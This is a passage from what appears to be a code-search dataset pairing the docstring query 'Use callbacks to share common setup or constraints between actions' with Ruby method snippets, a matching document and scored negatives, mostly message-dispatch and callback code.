: labels[1]}\"\n num\n end", "def dispatch(args)\n log(:debug) { \"Dispatch to runner: #{runner.class.name}\" }\n\n # Send method to custom runner.\n runner.send :call, *args\n\n rescue => error\n log(:error) { \"Received error from runner: #{error.message}\\n#{error.backtrace.join(\" \\n\")}\" }\n ensure\n if pool.alive?\n pool.executed Actor.current\n else\n terminate\n end\n end", "def fire _obj, _args\n \"_obj fire _args;\" \n end", "def notify( event, *args )\n @subscribers.values.each { |b| b.call(event, *args) }\n end", "def send_forward_meta_messages(*args); end", "def call(*args)\n payload = args.last\n subscriber.call(payload)\n end", "def send(message, *args)\n # Now we have to swap some variable references around in order to restore the binding\n # for $max_object that existed at the time the receive callback was registered.\n # This ensures the outlet methods work correctly.\n current_max_object = $max_object\n for callback, $max_object in SendReceive.registry[message.to_s] do\n begin\n # $max_object.getNumOutlets # this blows up after deleting receivers in a shared context\n callback.call(*args)\n rescue\n\n end\n end\n ensure\n $max_object = current_max_object\n end", "def dispatch(msg)\n case msg.command\n when LINK_ESTABLISHING\n ret=on_link_establishing(msg)\n when LINK_ESTABLISHED\n ret=on_link_established(msg)\n when LINK_FAILED\n ret=on_link_failed(msg)\n when LINK_CLOSING\n ret=on_link_closing(msg)\n when LINK_CLOSED\n ret=on_link_closed(msg)\n when RECV_MESSAGE\n ret=on_recv_message(msg)\n when RECV_MESSAGE_BROKEN\n ret=on_recv_message_broken(msg)\n when RECV_MESSAGE_KILL\n ret=on_recv_message_kill(msg)\n when RECV_MESSAGE_PING\n ret=on_recv_message_ping(msg)\n when RECV_MESSAGE_PONG\n ret=on_recv_message_pong(msg)\n when RECV_MESSAGE_ERROR\n ret=on_recv_message_error(msg)\n when RECV_MESSAGE_NOTICE\n ret=on_recv_message_notice(msg)\n when RECV_RPL_INIT\n ret=on_recv_rpl_init(msg)\n when RECV_RPL_TRACELINK\n ret=on_recv_rpl_tracelink(msg)\n when RECV_RPL_TRACECONNECTING\n ret=on_recv_rpl_traceconnecting(msg)\n when RECV_RPL_TRACEHANDSHAKE\n ret=on_recv_rpl_tracehandshake(msg)\n when RECV_RPL_TRACEUNKNOWN\n ret=on_recv_rpl_traceunknown(msg)\n when RECV_RPL_TRACEOPERATOR\n ret=on_recv_rpl_traceoperator(msg)\n when RECV_RPL_TRACEUSER\n ret=on_recv_rpl_traceuser(msg)\n when RECV_RPL_TRACESERVER\n ret=on_recv_rpl_traceserver(msg)\n when RECV_RPL_TRACENEWTYPE\n ret=on_recv_rpl_tracenewtype(msg)\n when RECV_RPL_STATSLINKINF\n ret=on_recv_rpl_statslinkinf(msg)\n when RECV_RPL_STATSCOMMANDS\n ret=on_recv_rpl_statscommands(msg)\n when RECV_RPL_STATSCLINE\n ret=on_recv_rpl_statscline(msg)\n when RECV_RPL_STATSNLINE\n ret=on_recv_rpl_statsnline(msg)\n when RECV_RPL_STATSILINE\n ret=on_recv_rpl_statsiline(msg)\n when RECV_RPL_STATSKLINE\n ret=on_recv_rpl_statskline(msg)\n when RECV_RPL_STATSYLINE\n ret=on_recv_rpl_statsyline(msg)\n when RECV_RPL_ENDOFSTATS\n ret=on_recv_rpl_endofstats(msg)\n when RECV_RPL_UMODEIS\n ret=on_recv_rpl_umodeis(msg)\n when RECV_RPL_STATSLLINE\n ret=on_recv_rpl_statslline(msg)\n when RECV_RPL_STATSUPTIME\n ret=on_recv_rpl_statsuptime(msg)\n when RECV_RPL_STATSOLINE\n ret=on_recv_rpl_statsoline(msg)\n when RECV_RPL_STATSHLINE\n ret=on_recv_rpl_statshline(msg)\n when RECV_RPL_LUSERCLIENT\n ret=on_recv_rpl_luserclient(msg)\n when RECV_RPL_LUSEROP\n ret=on_recv_rpl_luserop(msg)\n when RECV_RPL_LUSERUNKNOWN\n ret=on_recv_rpl_luserunknown(msg)\n when RECV_RPL_LUSERCHANNELS\n ret=on_recv_rpl_luserchannels(msg)\n when RECV_RPL_LUSERME\n ret=on_recv_rpl_luserme(msg)\n when RECV_RPL_ADMINME\n ret=on_recv_rpl_adminme(msg)\n when RECV_RPL_ADMINLOC1\n ret=on_recv_rpl_adminloc1(msg)\n when RECV_RPL_ADMINLOC2\n ret=on_recv_rpl_adminloc2(msg)\n when RECV_RPL_ADMINEMAIL\n ret=on_recv_rpl_adminemail(msg)\n when RECV_RPL_TRACELOG\n ret=on_recv_rpl_tracelog(msg)\n when RECV_RPL_NONE\n ret=on_recv_rpl_none(msg)\n when RECV_RPL_AWAY\n ret=on_recv_rpl_away(msg)\n when RECV_RPL_USERHOST\n ret=on_recv_rpl_userhost(msg)\n when RECV_RPL_ISON\n ret=on_recv_rpl_ison(msg)\n when RECV_RPL_UNAWAY\n ret=on_recv_rpl_unaway(msg)\n when RECV_RPL_NOWAWAY\n ret=on_recv_rpl_nowaway(msg)\n when RECV_RPL_WHOISUSER\n ret=on_recv_rpl_whoisuser(msg)\n when RECV_RPL_WHOISSERVER\n ret=on_recv_rpl_whoisserver(msg)\n when RECV_RPL_WHOISOPERATOR\n ret=on_recv_rpl_whoisoperator(msg)\n when RECV_RPL_WHOWASUSER\n ret=on_recv_rpl_whowasuser(msg)\n when RECV_RPL_ENDOFWHO\n ret=on_recv_rpl_endofwho(msg)\n when RECV_RPL_WHOISIDLE\n ret=on_recv_rpl_whoisidle(msg)\n when RECV_RPL_ENDOFWHOIS\n ret=on_recv_rpl_endofwhois(msg)\n when RECV_RPL_WHOISCHANNELS\n ret=on_recv_rpl_whoischannels(msg)\n when RECV_RPL_LISTSTART\n ret=on_recv_rpl_liststart(msg)\n when RECV_RPL_LIST\n ret=on_recv_rpl_list(msg)\n when RECV_RPL_LISTEND\n ret=on_recv_rpl_listend(msg)\n when RECV_RPL_CHANNELMODEIS\n ret=on_recv_rpl_channelmodeis(msg)\n when RECV_RPL_NOTOPIC\n ret=on_recv_rpl_notopic(msg)\n when RECV_RPL_TOPIC\n ret=on_recv_rpl_topic(msg)\n when RECV_RPL_INVITING\n ret=on_recv_rpl_inviting(msg)\n when RECV_RPL_SUMMONING\n ret=on_recv_rpl_summoning(msg)\n when RECV_RPL_VERSION\n ret=on_recv_rpl_version(msg)\n when RECV_RPL_WHOREPLY\n ret=on_recv_rpl_whoreply(msg)\n when RECV_RPL_NAMREPLY\n ret=on_recv_rpl_namreply(msg)\n when RECV_RPL_LINKS\n ret=on_recv_rpl_links(msg)\n when RECV_RPL_ENDOFLINKS\n ret=on_recv_rpl_endoflinks(msg)\n when RECV_RPL_ENDOFNAME\n ret=on_recv_rpl_endofname(msg)\n when RECV_RPL_BANLIST\n ret=on_recv_rpl_banlist(msg)\n when RECV_RPL_ENDOFBANLIST\n ret=on_recv_rpl_endofbanlist(msg)\n when RECV_RPL_ENDOFWHOWAS\n ret=on_recv_rpl_endofwhowas(msg)\n when RECV_RPL_INFO\n ret=on_recv_rpl_info(msg)\n when RECV_RPL_MOTD\n ret=on_recv_rpl_motd(msg)\n when RECV_RPL_ENDOFINFO\n ret=on_recv_rpl_endofinfo(msg)\n when RECV_RPL_MOTDSTART\n ret=on_recv_rpl_motdstart(msg)\n when RECV_RPL_ENDOFMOTD\n ret=on_recv_rpl_endofmotd(msg)\n when RECV_RPL_YOUREOPER\n ret=on_recv_rpl_youreoper(msg)\n when RECV_RPL_REHASHING\n ret=on_recv_rpl_rehashing(msg)\n when RECV_RPL_TIME\n ret=on_recv_rpl_time(msg)\n when RECV_RPL_USERS\n ret=on_recv_rpl_users(msg)\n when RECV_RPL_ENDOFUSERS\n ret=on_recv_rpl_endofusers(msg)\n when RECV_RPL_NOUSERS\n ret=on_recv_rpl_nousers(msg)\n when RECV_ERR_NOSUCHNICK\n ret=on_recv_err_nosuchnick(msg)\n when RECV_ERR_NOSUCHSERVE\n ret=on_recv_err_nosuchserve(msg)\n when RECV_ERR_NOSUCHCHANNEL\n ret=on_recv_err_nosuchchannel(msg)\n when RECV_ERR_CANNOTSENDTOCHAN\n ret=on_recv_err_cannotsendtochan(msg)\n when RECV_ERR_TOOMANYCHANNELS\n ret=on_recv_err_toomanychannels(msg)\n when RECV_ERR_WASNOSUCHNICK\n ret=on_recv_err_wasnosuchnick(msg)\n when RECV_ERR_TOOMANYTARGETS\n ret=on_recv_err_toomanytargets(msg)\n when RECV_ERR_NOORIGIN\n ret=on_recv_err_noorigin(msg)\n when RECV_ERR_NORECIPIENT\n ret=on_recv_err_norecipient(msg)\n when RECV_ERR_NOTEXTTOSEND\n ret=on_recv_err_notexttosend(msg)\n when RECV_ERR_NOTOPLEVE\n ret=on_recv_err_notopleve(msg)\n when RECV_ERR_WILDTOPLEVEL\n ret=on_recv_err_wildtoplevel(msg)\n when RECV_ERR_UNKNOWNCOMMAND\n ret=on_recv_err_unknowncommand(msg)\n when RECV_ERR_NOMOTD\n ret=on_recv_err_nomotd(msg)\n when RECV_ERR_NOADMININFO\n ret=on_recv_err_noadmininfo(msg)\n when RECV_ERR_FILEERROR\n ret=on_recv_err_fileerror(msg)\n when RECV_ERR_NONICKNAMEGIVEN\n ret=on_recv_err_nonicknamegiven(msg)\n when RECV_ERR_ERRONEUSNICKNAME\n ret=on_recv_err_erroneusnickname(msg)\n when RECV_ERR_NICKNAMEINUSE\n ret=on_recv_err_nicknameinuse(msg)\n when RECV_ERR_NICKCOLLISION\n ret=on_recv_err_nickcollision(msg)\n when RECV_ERR_USERNOTINCHANNEL\n ret=on_recv_err_usernotinchannel(msg)\n when RECV_ERR_NOTONCHANNE\n ret=on_recv_err_notonchanne(msg)\n when RECV_ERR_USERONCHANNEL\n ret=on_recv_err_useronchannel(msg)\n when RECV_ERR_NOLOGIN\n ret=on_recv_err_nologin(msg)\n when RECV_ERR_SUMMONDISABLED\n ret=on_recv_err_summondisabled(msg)\n when RECV_ERR_USERSDISABLED\n ret=on_recv_err_usersdisabled(msg)\n when RECV_ERR_NOTREGISTERED\n ret=on_recv_err_notregistered(msg)\n when RECV_ERR_NEEDMOREPARAM\n ret=on_recv_err_needmoreparam(msg)\n when RECV_ERR_ALREADYREGISTRE\n ret=on_recv_err_alreadyregistre(msg)\n when RECV_ERR_NOPERMFORHOST\n ret=on_recv_err_nopermforhost(msg)\n when RECV_ERR_PASSWDMISMATCH\n ret=on_recv_err_passwdmismatch(msg)\n when RECV_ERR_YOUREBANNEDCREEP\n ret=on_recv_err_yourebannedcreep(msg)\n when RECV_ERR_KEYSET\n ret=on_recv_err_keyset(msg)\n when RECV_ERR_CHANNELISFULL\n ret=on_recv_err_channelisfull(msg)\n when RECV_ERR_UNKNOWNMODE\n ret=on_recv_err_unknownmode(msg)\n when RECV_ERR_INVITEONLYCHAN\n ret=on_recv_err_inviteonlychan(msg)\n when RECV_ERR_BANNEDFROMCHAN\n ret=on_recv_err_bannedfromchan(msg)\n when RECV_ERR_BADCHANNELKEY\n ret=on_recv_err_badchannelkey(msg)\n when RECV_ERR_NOPRIVILEGES\n ret=on_recv_err_noprivileges(msg)\n when RECV_ERR_CHANOPRIVSNEEDED\n ret=on_recv_err_chanoprivsneeded(msg)\n when RECV_ERR_CANTKILLSERVER\n ret=on_recv_err_cantkillserver(msg)\n when RECV_ERR_NOOPERHOST\n ret=on_recv_err_nooperhost(msg)\n when RECV_ERR_UMODEUNKNOWNFLAG\n ret=on_recv_err_umodeunknownflag(msg)\n when RECV_ERR_USERSDONTMATCH\n ret=on_recv_err_usersdontmatch(msg)\n when RECV_CMND_UNKNOWN\n ret=on_recv_cmnd_unknown(msg)\n when RECV_CMND_PASS\n ret=on_recv_cmnd_pass(msg)\n when RECV_CMND_NICK\n ret=on_recv_cmnd_nick(msg)\n when RECV_CMND_USER\n ret=on_recv_cmnd_user(msg)\n when RECV_CMND_SERVER\n ret=on_recv_cmnd_server(msg)\n when RECV_CMND_OPER\n ret=on_recv_cmnd_oper(msg)\n when RECV_CMND_QUIT\n ret=on_recv_cmnd_quit(msg)\n when RECV_CMND_SQUIT\n ret=on_recv_cmnd_squit(msg)\n when RECV_CMND_JOIN\n ret=on_recv_cmnd_join(msg)\n when RECV_CMND_PART\n ret=on_recv_cmnd_part(msg)\n when RECV_CMND_MODE\n ret=on_recv_cmnd_mode(msg)\n when RECV_CMND_TOPIC\n ret=on_recv_cmnd_topic(msg)\n when RECV_CMND_NAMES\n ret=on_recv_cmnd_names(msg)\n when RECV_CMND_LIST\n ret=on_recv_cmnd_list(msg)\n when RECV_CMND_INVITE\n ret=on_recv_cmnd_invite(msg)\n when RECV_CMND_KICK\n ret=on_recv_cmnd_kick(msg)\n when RECV_CMND_VERSION\n ret=on_recv_cmnd_version(msg)\n when RECV_CMND_STATAS\n ret=on_recv_cmnd_statas(msg)\n when RECV_CMND_LINK\n ret=on_recv_cmnd_link(msg)\n when RECV_CMND_TIME\n ret=on_recv_cmnd_time(msg)\n when RECV_CMND_CONNECT\n ret=on_recv_cmnd_connect(msg)\n when RECV_CMND_TRACE\n ret=on_recv_cmnd_trace(msg)\n when RECV_CMND_ADMIN\n ret=on_recv_cmnd_admin(msg)\n when RECV_CMND_INFO\n ret=on_recv_cmnd_info(msg)\n when RECV_CMND_PRIVMSG\n ret=on_recv_cmnd_privmsg(msg)\n when RECV_CMND_NOTICE\n ret=on_recv_cmnd_notice(msg)\n when RECV_CMND_WHO\n ret=on_recv_cmnd_who(msg)\n when RECV_CMND_WHOIS\n ret=on_recv_cmnd_whois(msg)\n when RECV_CMND_WHOWAS\n ret=on_recv_cmnd_whowas(msg)\n when RECV_CMND_KILL\n ret=on_recv_cmnd_kill(msg)\n when RECV_CMND_PING\n ret=on_recv_cmnd_ping(msg)\n when RECV_CMND_PONG\n ret=on_recv_cmnd_pong(msg)\n when RECV_CMND_ERROR\n ret=on_recv_cmnd_error(msg)\n when RECV_CMND_AWAY\n ret=on_recv_cmnd_away(msg)\n when RECV_CMND_REHASH\n ret=on_recv_cmnd_rehash(msg)\n when RECV_CMND_RESTART\n ret=on_recv_cmnd_restart(msg)\n when RECV_CMND_SUMMON\n ret=on_recv_cmnd_summon(msg)\n when RECV_CMND_USERS\n ret=on_recv_cmnd_users(msg)\n when RECV_CMND_WALLOPS\n ret=on_recv_cmnd_wallops(msg)\n when RECV_CMND_USERHOST\n ret=on_recv_cmnd_userhost(msg)\n when RECV_CMND_ISON\n ret=on_recv_cmnd_ison(msg)\n when RECV_CMND_CTCP_QUERY\n ret=on_recv_cmnd_ctcp_query(msg)\n when RECV_CMND_CTCP_QUERY_UNKNOWN\n ret=on_recv_cmnd_ctcp_query_unknown(msg)\n when RECV_CMND_CTCP_QUERY_PING\n ret=on_recv_cmnd_ctcp_query_ping(msg)\n when RECV_CMND_CTCP_QUERY_ECHO\n ret=on_recv_cmnd_ctcp_query_echo(msg)\n when RECV_CMND_CTCP_QUERY_TIME\n ret=on_recv_cmnd_ctcp_query_time(msg)\n when RECV_CMND_CTCP_QUERY_VERSION\n ret=on_recv_cmnd_ctcp_query_version(msg)\n when RECV_CMND_CTCP_QUERY_CLIENTINFO\n ret=on_recv_cmnd_ctcp_query_clientinfo(msg)\n when RECV_CMND_CTCP_QUERY_USERINFO\n ret=on_recv_cmnd_ctcp_query_userinfo(msg)\n when RECV_CMND_CTCP_QUERY_ACTION\n ret=on_recv_cmnd_ctcp_query_action(msg)\n when RECV_CMND_CTCP_QUERY_DCC\n ret=on_recv_cmnd_ctcp_query_dcc(msg)\n when RECV_CMND_CTCP_ANSWER\n ret=on_recv_cmnd_ctcp_answer(msg)\n when RECV_CMND_CTCP_ANSWER_UNKNOWN\n ret=on_recv_cmnd_ctcp_answer_unknown(msg)\n when RECV_CMND_CTCP_ANSWER_PING\n ret=on_recv_cmnd_ctcp_answer_ping(msg)\n when RECV_CMND_CTCP_ANSWER_ECHO\n ret=on_recv_cmnd_ctcp_answer_echo(msg)\n when RECV_CMND_CTCP_ANSWER_TIME\n ret=on_recv_cmnd_ctcp_answer_time(msg)\n when RECV_CMND_CTCP_ANSWER_VERSION\n ret=on_recv_cmnd_ctcp_answer_version(msg)\n when RECV_CMND_CTCP_ANSWER_CLIENTINFO\n ret=on_recv_cmnd_ctcp_answer_clientinfo(msg)\n when RECV_CMND_CTCP_ANSWER_USERINFO\n ret=on_recv_cmnd_ctcp_answer_userinfo(msg)\n when RECV_CMND_CTCP_ANSWER_ACTION\n ret=on_recv_cmnd_ctcp_answer_action(msg)\n when RECV_CMND_CTCP_ANSWER_DCC\n ret=on_recv_cmnd_ctcp_answer_dcc(msg)\n else\n ret=default_action(msg)\n end\n\n return ret\n end", "def dispatch(msg)\n case msg.message_type\n when Message::METHOD_CALL\n if not @intfs[msg.interface]\n raise InterfaceNotInObject, msg.interface\n end\n meth = @intfs[msg.interface].methods[msg.member.to_sym]\n raise MethodNotInInterface if not meth\n methname = Object.make_method_name(msg.interface, msg.member)\n retdata = method(methname).call(*msg.params)\n\n reply = Message.new.reply_to(msg)\n # I'm sure there is a ruby way to do that\n i = 0\n if meth.rets.size > 0 and not retdata.kind_of?(Array)\n raise InvalidReturnType\n end\n meth.rets.each do |rsig|\n reply.add_param(rsig[1], retdata[i])\n end\n @service.bus.send(reply.marshall)\n end\n end", "def method_missing(name, *args, &block)\n if name =~ /(.*)_channel/\n self.class.send(\"define_method\",name) do |arg|\n msg = \"#{$1.upcase} \"\n msg += \"#{arg[:dest]} \" unless arg[:dest].nil?\n msg += \"#{arg[:who]} \" unless arg[:who].nil?\n msg += \"#{arg[:what]} \" unless arg[:what].nil?\n msg += \"#{arg[:args]} \" unless arg[:args].nil?\n msg += \":#{arg[:msg]} \" unless arg[:msg].nil?\n puts \">>> #{msg}\".blue\n IRC::send_msg msg\n end \n return self.send name,args[0]\n end\n super\n end", "def fire_events!(*events); end", "def recipients(notifier_name)\n raise Noticent::InvalidScope, \"payload #{@payload.klass} doesn't have a #{notifier_name} method\" unless @payload.respond_to? notifier_name\n\n @payload.send(notifier_name)\n end", "def invoke(name, args)\n\t\tself.class.invoke_instance_method(self, name, args)\n\tend", "def handle(msg)\n Globot.logger.debug \"--> [#{msg.type}#{msg.person.nil? ? '' : ' / ' + msg.person.name}] #{msg.raw}\"\n @active.each { |p| p.handle(msg) }\n end", "def send_events=(_arg0); end", "def send_message(method_name, return_type, *args, &b)\n @messenger.deliver(method_name, return_type, *args, &b)\n end", "def react_to *args; end", "def send_class_message(method_name, return_type, *args, &b)\n @messenger.deliver_to_class(method_name, return_type, *args, &b)\n end", "def on_message_call handler\n @@handler_symbol = handler\n end", "def on_message(m)\n end", "def dispatch(message)\n Turntabler.run { @handler.call(message) } if @handler\n end", "def on_incoming_message(msg)\n type = msg.operation\n debug \"(#{id}) Deliver message '#{type}': #{msg.inspect}\"\n htypes = [type, :message]\n if type == :inform\n # TODO keep converting itype is painful, need to solve this.\n if (it = msg.itype(:ruby)) # format itype as lower case string\n case it\n when \"creation_ok\"\n htypes << :create_succeeded\n when 'status'\n htypes << :inform_status\n end\n\n htypes << it.to_sym\n end\n end\n\n debug \"(#{id}) Message type '#{htypes.inspect}' (#{msg.class}:#{msg.cid})\"\n hs = htypes.map { |ht| (@handlers[ht] || {}).values }.compact.flatten\n debug \"(#{id}) Distributing message to '#{hs.inspect}'\"\n hs.each do |block|\n block.call msg\n end\n if cbk = @context2cbk[msg.cid.to_s]\n debug \"(#{id}) Distributing message to '#{cbk.inspect}'\"\n cbk[:last_used] = Time.now\n cbk[:block].call(msg)\n end\n end", "def exec_hook(event_name, *args, &block)\n @hooks[event_name] ||= []\n\n # silence warnings to get rid of 1.8's \"warning: multiple values\n # for a block parameter\" warnings\n Pry::Helpers::BaseHelpers.silence_warnings do\n @hooks[event_name].map do |hook_name, callable|\n begin\n callable.call(*args, &block)\n rescue RescuableException => e\n errors << e\n e\n end\n end.last\n end\n end", "def privmsg(m, *args)\n args.each { |msg| m.user.safe_send(msg) }\n end", "def emit(type, sender=nil, *args)\n listeners[type].each { |l| l.fire(sender, *args) } if listeners.has_key? type\n end", "def listen_for_messages\n queue = @channel.queue(\"\")\n\n queue.bind(@exchange).subscribe do |delivery_info, metadata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end", "def method_missing(*arguments); @message.send(*arguments); end", "def ontopic(topic, msg)\n\n component = topic[/\\w+$/]\n\n method_name = \"on_#{component}_message\".to_sym\n\n @plugins.each do |x|\n\n if x.respond_to? method_name then\n x.method(method_name).call(msg)\n end\n\n end\n end", "def method_missing(*args, &block)\n if block_given?\n message.send(*args, &block)\n else\n message.send(*args)\n end\n end", "def sendmsg(*args, &block)\n inbox.sendmsg(*args, &block)\n end" ]
[ "0.68110913", "0.6788161", "0.62809247", "0.6202623", "0.6138758", "0.6074418", "0.60267806", "0.58162886", "0.55855316", "0.5562728", "0.5497522", "0.549229", "0.54807943", "0.5463088", "0.5438406", "0.5430428", "0.5416576", "0.5369889", "0.53564143", "0.5346126", "0.53456557", "0.53217006", "0.52971107", "0.5275698", "0.5273856", "0.5272527", "0.5247393", "0.5231181", "0.52281296", "0.52244014", "0.5222826", "0.52176493", "0.5215495", "0.5157463", "0.5143388", "0.5139612", "0.51383424", "0.51355743", "0.5118472", "0.5108261", "0.50996745", "0.5095699", "0.5081108", "0.50798774", "0.50722146", "0.5071587", "0.50578403", "0.5056294", "0.5054914", "0.50540954", "0.5034161", "0.50197476", "0.5017281", "0.5015962", "0.5000743", "0.49914926", "0.49869707", "0.49854508", "0.49848068", "0.49782032", "0.49753776", "0.49722442", "0.49708727", "0.49606663", "0.49580127", "0.49559215", "0.49530292", "0.49498922", "0.49498922", "0.49450684", "0.49439505", "0.4942519", "0.49418133", "0.49380854", "0.49302062", "0.49284092", "0.49231452", "0.49214908", "0.49210227", "0.49166185", "0.49098608", "0.490893", "0.49049106", "0.48952177", "0.48919082", "0.48846182", "0.48649403", "0.48591664", "0.48489693", "0.48413447", "0.48378724", "0.4832208", "0.4827891", "0.48205522", "0.48113573", "0.4810933", "0.48051992", "0.48011014", "0.47952637", "0.4791997" ]
0.75376266
0
Use callbacks to share common setup or constraints between actions.
def set_entity @entity = Entity.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n 